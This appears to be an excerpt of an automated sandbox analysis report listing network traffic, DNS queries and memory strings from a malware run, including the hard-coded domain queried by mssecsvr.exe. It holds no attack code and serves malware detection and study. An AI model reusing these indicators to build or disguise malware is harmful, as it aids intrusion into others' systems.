Source: unknown	Network traffic detected: HTTP traffic on port 53894 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51460 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51416
Source: unknown	Network traffic detected: HTTP traffic on port 55914 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52068
Source: unknown	Network traffic detected: HTTP traffic on port 50284 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52069
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51099
Source: unknown	Network traffic detected: HTTP traffic on port 51007 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52072
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61337
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52070
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64847
Source: unknown	Network traffic detected: HTTP traffic on port 50950 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64849
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52227 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50602 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64965

Source: unknown	TCP traffic detected without corresponding DNS query: 20.40.136.238
Source: unknown	TCP traffic detected without corresponding DNS query: 20.40.136.238
Source: unknown	TCP traffic detected without corresponding DNS query: 20.40.136.238
Source: unknown	TCP traffic detected without corresponding DNS query: 20.40.136.238
Source: unknown	TCP traffic detected without corresponding DNS query: 20.40.136.238
Source: unknown	TCP traffic detected without corresponding DNS query: 20.40.136.238
Source: unknown	TCP traffic detected without corresponding DNS query: 20.40.136.238
Source: unknown	TCP traffic detected without corresponding DNS query: 20.40.136.238
Source: unknown	TCP traffic detected without corresponding DNS query: 20.40.136.238
Source: unknown	TCP traffic detected without corresponding DNS query: 20.40.136.238
Source: unknown	TCP traffic detected without corresponding DNS query: 20.40.136.238
Source: unknown	TCP traffic detected without corresponding DNS query: 20.40.136.238
Source: unknown	TCP traffic detected without corresponding DNS query: 20.40.136.238
Source: unknown	TCP traffic detected without corresponding DNS query: 20.40.136.238
Source: unknown	TCP traffic detected without corresponding DNS query: 20.40.136.238
Source: unknown	TCP traffic detected without corresponding DNS query: 20.40.136.238
Source: unknown	TCP traffic detected without corresponding DNS query: 20.40.136.238
Source: unknown	TCP traffic detected without corresponding DNS query: 20.40.136.238
Source: unknown	TCP traffic detected without corresponding DNS query: 20.40.136.238
Source: unknown	TCP traffic detected without corresponding DNS query: 20.40.136.238
Source: unknown	TCP traffic detected without corresponding DNS query: 20.40.136.238
Source: unknown	TCP traffic detected without corresponding DNS query: 20.40.136.238
Source: unknown	TCP traffic detected without corresponding DNS query: 20.40.136.238
Source: unknown	TCP traffic detected without corresponding DNS query: 20.40.136.238
Source: unknown	TCP traffic detected without corresponding DNS query: 20.40.136.238
Source: unknown	TCP traffic detected without corresponding DNS query: 20.40.136.238
Source: unknown	TCP traffic detected without corresponding DNS query: 20.40.136.238
Source: unknown	TCP traffic detected without corresponding DNS query: 20.40.136.238
Source: unknown	TCP traffic detected without corresponding DNS query: 20.40.136.238
Source: unknown	TCP traffic detected without corresponding DNS query: 20.40.136.238
Source: unknown	TCP traffic detected without corresponding DNS query: 23.211.6.115
Source: unknown	TCP traffic detected without corresponding DNS query: 23.211.6.115
Source: unknown	TCP traffic detected without corresponding DNS query: 23.211.6.115
Source: unknown	TCP traffic detected without corresponding DNS query: 23.211.6.115
Source: unknown	TCP traffic detected without corresponding DNS query: 23.211.6.115
Source: unknown	TCP traffic detected without corresponding DNS query: 23.211.6.115
Source: unknown	TCP traffic detected without corresponding DNS query: 23.211.6.115
Source: unknown	TCP traffic detected without corresponding DNS query: 23.211.6.115
Source: unknown	TCP traffic detected without corresponding DNS query: 23.211.6.115
Source: unknown	TCP traffic detected without corresponding DNS query: 23.211.6.115
Source: unknown	TCP traffic detected without corresponding DNS query: 23.211.6.115
Source: unknown	TCP traffic detected without corresponding DNS query: 23.211.6.115
Source: unknown	TCP traffic detected without corresponding DNS query: 23.211.6.115
Source: unknown	TCP traffic detected without corresponding DNS query: 23.211.6.115
Source: unknown	TCP traffic detected without corresponding DNS query: 23.211.6.115
Source: unknown	TCP traffic detected without corresponding DNS query: 23.211.6.115
Source: unknown	TCP traffic detected without corresponding DNS query: 23.211.6.115
Source: unknown	TCP traffic detected without corresponding DNS query: 23.211.6.115
Source: unknown	TCP traffic detected without corresponding DNS query: 23.211.6.115
Source: unknown	TCP traffic detected without corresponding DNS query: 23.211.6.115

Source: svchost.exe, 00000014.00000003.503293748.000002109ED5F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Try it free for 30 days, no strings attached\r\n\r\nLike us on Facebook: http://www.facebook.com/spotify \r\nFollow us on Twitter: http://twitter.com/spotify","ProductTitle":"Spotify - Music and Podcasts","SearchTitles":[{"SearchTitleString":"Spotify","SearchTitleType":"SearchHint"},{"SearchTitleString":"Music","SearchTitleType":"SearchHint"},{"SearchTitleString":"music apps","SearchTitleType":"SearchHint"},{"SearchTitleString":"free music","SearchTitleType":"SearchHint"},{"SearchTitleString":"podcasts","SearchTitleType":"SearchHint"},{"SearchTitleString":"streaming","SearchTitleType":"SearchHint"},{"SearchTitleString":"soundcloud","SearchTitleType":"SearchHint"}],"Language":"en-us","Markets":["US","DZ","AR","AU","AT","BH","BD","BE","BR","BG","CA","CL","CN","CO","CR","HR","CY","CZ","DK","EG","EE","FI","FR","DE","GR","GT","HK","HU","IS","IN","ID","IQ","IE","IL","IT","JP","JO","KZ","KE","KW","LV","LB","LI","LT","LU","MY","MT","MR","MX","MA","NL","NZ","NG","NO","OM","PK","PE","PH","PL","PT","QA","RO","RU","SA","RS","SG","SK","SI","ZA","KR","ES","SE","CH","TW","TH","TT","TN","TR","UA","AE","GB","VN","YE","LY","LK","UY","VE","AF","AX","AL","AS","AO","AI","AQ","AG","AM","AW","BO","BQ","BA","BW","BV","IO","BN","BF","BI","KH","CM","CV","KY","CF","TD","TL","DJ","DM","DO","EC","SV","GQ","ER","ET","FK","FO","FJ","GF","PF","TF","GA","GM","GE","GH","GI","GL","GD","GP","GU","GG","GN","GW","GY","HT","HM","HN","AZ","BS","BB","BY","BZ","BJ","BM","BT","KM","CG","CD","CK","CX","CC","CI","CW","JM","SJ","JE","KI","KG","LA","LS","LR","MO","MK","MG","MW","IM","MH","MQ","MU","YT","FM","MD","MN","MS","MZ","MM","NA","NR","NP","MV","ML","NC","NI","NE","NU","NF","PW","PS","PA","PG","PY","RE","RW","BL","MF","WS","ST","SN","MP","PN","SX","SB","SO","SC","SL","GS","SH","KN","LC","PM","VC","TJ","TZ","TG","TK","TO","TM","TC","TV","UM","UG", equals www.facebook.com (Facebook)
Source: svchost.exe, 00000014.00000003.503293748.000002109ED5F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Try it free for 30 days, no strings attached\r\n\r\nLike us on Facebook: http://www.facebook.com/spotify \r\nFollow us on Twitter: http://twitter.com/spotify","ProductTitle":"Spotify - Music and Podcasts","SearchTitles":[{"SearchTitleString":"Spotify","SearchTitleType":"SearchHint"},{"SearchTitleString":"Music","SearchTitleType":"SearchHint"},{"SearchTitleString":"music apps","SearchTitleType":"SearchHint"},{"SearchTitleString":"free music","SearchTitleType":"SearchHint"},{"SearchTitleString":"podcasts","SearchTitleType":"SearchHint"},{"SearchTitleString":"streaming","SearchTitleType":"SearchHint"},{"SearchTitleString":"soundcloud","SearchTitleType":"SearchHint"}],"Language":"en-us","Markets":["US","DZ","AR","AU","AT","BH","BD","BE","BR","BG","CA","CL","CN","CO","CR","HR","CY","CZ","DK","EG","EE","FI","FR","DE","GR","GT","HK","HU","IS","IN","ID","IQ","IE","IL","IT","JP","JO","KZ","KE","KW","LV","LB","LI","LT","LU","MY","MT","MR","MX","MA","NL","NZ","NG","NO","OM","PK","PE","PH","PL","PT","QA","RO","RU","SA","RS","SG","SK","SI","ZA","KR","ES","SE","CH","TW","TH","TT","TN","TR","UA","AE","GB","VN","YE","LY","LK","UY","VE","AF","AX","AL","AS","AO","AI","AQ","AG","AM","AW","BO","BQ","BA","BW","BV","IO","BN","BF","BI","KH","CM","CV","KY","CF","TD","TL","DJ","DM","DO","EC","SV","GQ","ER","ET","FK","FO","FJ","GF","PF","TF","GA","GM","GE","GH","GI","GL","GD","GP","GU","GG","GN","GW","GY","HT","HM","HN","AZ","BS","BB","BY","BZ","BJ","BM","BT","KM","CG","CD","CK","CX","CC","CI","CW","JM","SJ","JE","KI","KG","LA","LS","LR","MO","MK","MG","MW","IM","MH","MQ","MU","YT","FM","MD","MN","MS","MZ","MM","NA","NR","NP","MV","ML","NC","NI","NE","NU","NF","PW","PS","PA","PG","PY","RE","RW","BL","MF","WS","ST","SN","MP","PN","SX","SB","SO","SC","SL","GS","SH","KN","LC","PM","VC","TJ","TZ","TG","TK","TO","TM","TC","TV","UM","UG", equals www.twitter.com (Twitter)
Source: svchost.exe, 00000014.00000003.503293748.000002109ED5F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000003.502190666.000002109ED6F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Try it free for 30 days, no strings attached\r\n\r\nLike us on Facebook: http://www.facebook.com/spotify \r\nFollow us on Twitter: http://twitter.com/spotify","ProductTitle":"Spotify - Music and Podcasts","SearchTitles":[{"SearchTitleString":"Spotify","SearchTitleType":"SearchHint"},{"SearchTitleString":"Music","SearchTitleType":"SearchHint"},{"SearchTitleString":"music apps","SearchTitleType":"SearchHint"},{"SearchTitleString":"free music","SearchTitleType":"SearchHint"},{"SearchTitleString":"podcasts","SearchTitleType":"SearchHint"},{"SearchTitleString":"streaming","SearchTitleType":"SearchHint"},{"SearchTitleString":"soundcloud","SearchTitleType":"SearchHint"}],"Language":"en-us","Markets":["US","DZ","AR","AU","AT","BH","BD","BE","BR","BG","CA","CL","CN","CO","CR","HR","CY","CZ","DK","EG","EE","FI","FR","DE","GR","GT","HK","HU","IS","IN","ID","IQ","IE","IL","IT","JP","JO","KZ","KE","KW","LV","LB","LI","LT","LU","MY","MT","MR","MX","MA","NL","NZ","NG","NO","OM","PK","PE","PH","PL","PT","QA","RO","RU","SA","RS","SG","SK","SI","ZA","KR","ES","SE","CH","TW","TH","TT","TN","TR","UA","AE","GB","VN","YE","LY","LK","UY","VE","AF","AX","AL","AS","AO","AI","AQ","AG","AM","AW","BO","BQ","BA","BW","BV","IO","BN","BF","BI","KH","CM","CV","KY","CF","TD","TL","DJ","DM","DO","EC","SV","GQ","ER","ET","FK","FO","FJ","GF","PF","TF","GA","GM","GE","GH","GI","GL","GD","GP","GU","GG","GN","GW","GY","HT","HM","HN","AZ","BS","BB","BY","BZ","BJ","BM","BT","KM","CG","CD","CK","CX","CC","CI","CW","JM","SJ","JE","KI","KG","LA","LS","LR","MO","MK","MG","MW","IM","MH","MQ","MU","YT","FM","MD","MN","MS","MZ","MM","NA","NR","NP","MV","ML","NC","NI","NE","NU","NF","PW","PS","PA","PG","PY","RE","RW","BL","MF","WS","ST","SN","MP","PN","SX","SB","SO","SC","SL","GS","SH","KN","LC","PM","VC","TJ","TZ","TG","TK","TO","TM","TC","TV","UM","UG","VI","VG","WF","EH","ZM","ZW","UZ","VU","SR","SZ","AD","MC","SM","ME","VA","NEUTRAL"]}],"MarketProperties":[{"RelatedProducts":[],"Markets":["US"]}],"ProductASchema":"Product;3","ProductBSchema":"ProductUnifiedApp;3","ProductId":"9NCBCSZSJRSB","Properties":{"PackageFamilyName":"SpotifyAB.SpotifyMusic_zpdnekdrzrea0","PackageIdentityName":"SpotifyAB.SpotifyMusic","PublisherCertificateName":"CN=453637B3-4E12-4CDF-B0D3-2A3C863BF6EF","XboxCrossGenSetId":null,"XboxConsoleGenOptimized":null,"XboxConsoleGenCompatible":null},"AlternateIds":[{"IdType":"LegacyWindowsStoreProductId","Value":"ceac5d3f-8a4f-40e1-9a67-76d9108c7cb5"},{"IdType":"LegacyWindowsPhoneProductId","Value":"caac1b9d-621b-4f96-b143-e10e1397740a"},{"IdType":"XboxTitleId","Value":"1681279293"}],"IngestionSource":"DCE","IsMicrosoftProduct":false,"PreferredSkuId":"0010","ProductType":"Application","ValidationData":{"PassedValidation":false,"RevisionId":"2022-07-11T16:37:37.4991749Z\|\|.\|\|58dfb4d5-be7e-424e-8739-cac99224843f\|\|1152921505695035586\|\|Null\|\|fullrelease","ValidationResultUri":""},"MerchandizingTags":[],"PartD":"","ProductFamily":"Apps","ProductKind":"Application","DisplaySkuAvailab
Source: svchost.exe, 00000014.00000003.503293748.000002109ED5F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000003.502190666.000002109ED6F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Try it free for 30 days, no strings attached\r\n\r\nLike us on Facebook: http://www.facebook.com/spotify \r\nFollow us on Twitter: http://twitter.com/spotify","ProductTitle":"Spotify - Music and Podcasts","SearchTitles":[{"SearchTitleString":"Spotify","SearchTitleType":"SearchHint"},{"SearchTitleString":"Music","SearchTitleType":"SearchHint"},{"SearchTitleString":"music apps","SearchTitleType":"SearchHint"},{"SearchTitleString":"free music","SearchTitleType":"SearchHint"},{"SearchTitleString":"podcasts","SearchTitleType":"SearchHint"},{"SearchTitleString":"streaming","SearchTitleType":"SearchHint"},{"SearchTitleString":"soundcloud","SearchTitleType":"SearchHint"}],"Language":"en-us","Markets":["US","DZ","AR","AU","AT","BH","BD","BE","BR","BG","CA","CL","CN","CO","CR","HR","CY","CZ","DK","EG","EE","FI","FR","DE","GR","GT","HK","HU","IS","IN","ID","IQ","IE","IL","IT","JP","JO","KZ","KE","KW","LV","LB","LI","LT","LU","MY","MT","MR","MX","MA","NL","NZ","NG","NO","OM","PK","PE","PH","PL","PT","QA","RO","RU","SA","RS","SG","SK","SI","ZA","KR","ES","SE","CH","TW","TH","TT","TN","TR","UA","AE","GB","VN","YE","LY","LK","UY","VE","AF","AX","AL","AS","AO","AI","AQ","AG","AM","AW","BO","BQ","BA","BW","BV","IO","BN","BF","BI","KH","CM","CV","KY","CF","TD","TL","DJ","DM","DO","EC","SV","GQ","ER","ET","FK","FO","FJ","GF","PF","TF","GA","GM","GE","GH","GI","GL","GD","GP","GU","GG","GN","GW","GY","HT","HM","HN","AZ","BS","BB","BY","BZ","BJ","BM","BT","KM","CG","CD","CK","CX","CC","CI","CW","JM","SJ","JE","KI","KG","LA","LS","LR","MO","MK","MG","MW","IM","MH","MQ","MU","YT","FM","MD","MN","MS","MZ","MM","NA","NR","NP","MV","ML","NC","NI","NE","NU","NF","PW","PS","PA","PG","PY","RE","RW","BL","MF","WS","ST","SN","MP","PN","SX","SB","SO","SC","SL","GS","SH","KN","LC","PM","VC","TJ","TZ","TG","TK","TO","TM","TC","TV","UM","UG","VI","VG","WF","EH","ZM","ZW","UZ","VU","SR","SZ","AD","MC","SM","ME","VA","NEUTRAL"]}],"MarketProperties":[{"RelatedProducts":[],"Markets":["US"]}],"ProductASchema":"Product;3","ProductBSchema":"ProductUnifiedApp;3","ProductId":"9NCBCSZSJRSB","Properties":{"PackageFamilyName":"SpotifyAB.SpotifyMusic_zpdnekdrzrea0","PackageIdentityName":"SpotifyAB.SpotifyMusic","PublisherCertificateName":"CN=453637B3-4E12-4CDF-B0D3-2A3C863BF6EF","XboxCrossGenSetId":null,"XboxConsoleGenOptimized":null,"XboxConsoleGenCompatible":null},"AlternateIds":[{"IdType":"LegacyWindowsStoreProductId","Value":"ceac5d3f-8a4f-40e1-9a67-76d9108c7cb5"},{"IdType":"LegacyWindowsPhoneProductId","Value":"caac1b9d-621b-4f96-b143-e10e1397740a"},{"IdType":"XboxTitleId","Value":"1681279293"}],"IngestionSource":"DCE","IsMicrosoftProduct":false,"PreferredSkuId":"0010","ProductType":"Application","ValidationData":{"PassedValidation":false,"RevisionId":"2022-07-11T16:37:37.4991749Z\|\|.\|\|58dfb4d5-be7e-424e-8739-cac99224843f\|\|1152921505695035586\|\|Null\|\|fullrelease","ValidationResultUri":""},"MerchandizingTags":[],"PartD":"","ProductFamily":"Apps","ProductKind":"Application","DisplaySkuAvailab

Source: svchost.exe, 00000014.00000002.541116483.000002109ED13000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: svchost.exe, 00000014.00000002.541098581.000002109ED05000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: svchost.exe, 00000014.00000003.518556639.000002109ED89000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000003.518516840.000002109ED9E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://help.disneyplus.com.
Source: mssecsvr.exe.2.dr	String found in binary or memory: http://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff.com
Source: mssecsvr.exe, 00000007.00000003.368719566.0000000000C39000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff.com/
Source: mssecsvr.exe, 00000007.00000002.962907000.000000000019C000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff.comJ
Source: svchost.exe, 00000014.00000003.518556639.000002109ED89000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000003.518516840.000002109ED9E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://disneyplus.com/legal.
Source: svchost.exe, 00000014.00000003.514435448.000002109EDAD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000003.514592323.000002109F202000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000003.514400037.000002109ED9C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000003.514369027.000002109F202000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000003.514574636.000002109ED81000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.hotspotshield.com/
Source: svchost.exe, 00000014.00000003.518556639.000002109ED89000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000003.518516840.000002109ED9E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.disneyplus.com/legal/privacy-policy
Source: svchost.exe, 00000014.00000003.518556639.000002109ED89000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000003.518516840.000002109ED9E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.disneyplus.com/legal/your-california-privacy-rights
Source: svchost.exe, 00000014.00000003.514435448.000002109EDAD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000003.514592323.000002109F202000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000003.514400037.000002109ED9C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000003.514369027.000002109F202000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000003.514574636.000002109ED81000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.hotspotshield.com/terms/
Source: svchost.exe, 00000014.00000003.514435448.000002109EDAD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000003.514592323.000002109F202000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000003.514400037.000002109ED9C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000003.514369027.000002109F202000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000003.514574636.000002109ED81000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.pango.co/privacy
Source: svchost.exe, 00000014.00000003.522840424.000002109F202000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000003.522803477.000002109ED8B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000003.522768356.000002109ED9E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000003.522739374.000002109EDB4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.tiktok.com/legal/report/feedback

Source: unknown

HTTP traffic detected: POST /RST2.srf HTTP/1.0Connection: Keep-AliveContent-Type: application/soap+xmlAccept: */*User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 18.10.0.17134.0.0; IDCRL-cfg 16.000.29340.5; App svchost.exe, 10.0.17134.1, {DF60E2DF-88AD-4526-AE21-83D130EF0F68})Content-Length: 3592Host: login.live.com

Source: unknown

DNS traffic detected: queries for: www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff.com

Source: global traffic	HTTP traffic detected: GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=314559&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:EE4890C5-90AE-59E2-5AC5-C20AA6654592&ctry=US&time=20220720T202320Z&lc=en-US&pl=en-US&idtp=mid&uid=d9fcfe42-b5d5-4629-ac66-c2605ea824c4&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=08680fd03fc64c44b93c85c82a591cdf&ctmode=MultiSession&arch=x64&cdm=1&cdmver=10.0.17134.1&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.17134.1&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=1611378&metered=false&nettype=ethernet&npid=sc-314559&oemName=VMware%2C%20Inc.&oemid=VMware%2C%20Inc.&ossku=Professional&smBiosDm=VMware7%2C1&tl=2&tsu=1611378&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waasRing= HTTP/1.1Accept-Encoding: gzip, deflateX-SDK-CACHE: chs=0&imp=0&chf=0&ds=50583&fs=32220&sc=6Cache-Control: no-cacheMS-CV: vztfcoan+0Ck02PT.0User-Agent: WindowsShellClient/9.0.40929.0 (Windows)X-SDK-HWF: tch0,m301,m751,mA01,mT01Host: arc.msn.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=310091&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:EE4890C5-90AE-59E2-5AC5-C20AA6654592&ctry=US&time=20220720T202320Z&lc=en-US&pl=en-US&idtp=mid&uid=d9fcfe42-b5d5-4629-ac66-c2605ea824c4&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=271574ea336b40cda00e341ea963f6b0&ctmode=MultiSession&arch=x64&cdm=1&cdmver=10.0.17134.1&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.17134.1&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=1611378&metered=false&nettype=ethernet&npid=sc-310091&oemName=VMware%2C%20Inc.&oemid=VMware%2C%20Inc.&ossku=Professional&rver=2&smBiosDm=VMware7%2C1&tl=2&tsu=1611378&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waasRing= HTTP/1.1Accept-Encoding: gzip, deflateX-SDK-CACHE: chs=0&imp=0&chf=0&ds=50583&fs=32220&sc=6Cache-Control: no-cacheMS-CV: vztfcoan+0Ck02PT.0User-Agent: WindowsShellClient/9.0.40929.0 (Windows)X-SDK-HWF: tch0,m301,m751,mA01,mT01Host: arc.msn.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /image/apps.16574.13571498826857201.00a9d390-581f-492c-b148-b2ce81649480.6a6f592e-efa9-4bb0-b008-7c3422ab3313?format=source HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: store-images.s-microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /image/apps.18694.9007199266247846.b5c49955-e050-4553-b8e4-0e223ed6c5a1.4e8e78d2-c2c2-4c02-8d8c-46ac3b2419e7?format=source HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: store-images.s-microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /image/apps.2052.9007199266247846.b5c49955-e050-4553-b8e4-0e223ed6c5a1.a0c3decd-308f-4f06-bcfb-2aa4f3afe248?format=source HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: store-images.s-microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /image/apps.15881.13753891519397067.8011a592-e549-44a6-8073-41dcd83eddbe.bcf361e4-21f7-429d-877a-6c55c1b655ff?format=source HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: store-images.s-microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /image/apps.18858.9007199266246227.c596c546-6fcb-4260-935c-19bc24b971ef.1b03c26f-1753-4221-9ab1-4581f098723d?format=source HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: store-images.s-microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /image/apps.10288.13753891519397067.8011a592-e549-44a6-8073-41dcd83eddbe.12bb65f7-1014-4469-bb2e-59f575e79b05?format=source HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: store-images.s-microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /image/apps.256.14495311847124170.e89a4dce-fd9a-4a10-b8e4-a6c3aa1c055e.ca4cbefc-0ab0-4144-90c1-07f5250c8c21?format=source HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: store-images.s-microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /image/apps.20893.13571498826857201.00a9d390-581f-492c-b148-b2ce81649480.acc28f88-50de-4aaf-abfc-ad1da8b04cd0?format=source HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: store-images.s-microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /image/apps.49525.13510798887047136.8a1815b2-017c-48c8-80cc-ca4d1ae5c8cf.2f6b9bdf-a4fc-42d8-aea0-65c437755b78?format=source HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: store-images.s-microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /image/apps.39478.14495311847124170.e89a4dce-fd9a-4a10-b8e4-a6c3aa1c055e.8ad1b690-ff36-44fa-8afc-0dc5bed1273c?format=source HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: store-images.s-microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /image/apps.40093.9007199266285780.3d16d9fa-052b-42c5-ba7d-a5688e3dda24.e6964d6a-18a4-4746-9238-9f0acc233a65?format=source HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: store-images.s-microsoft.comConnection: Keep-Alive
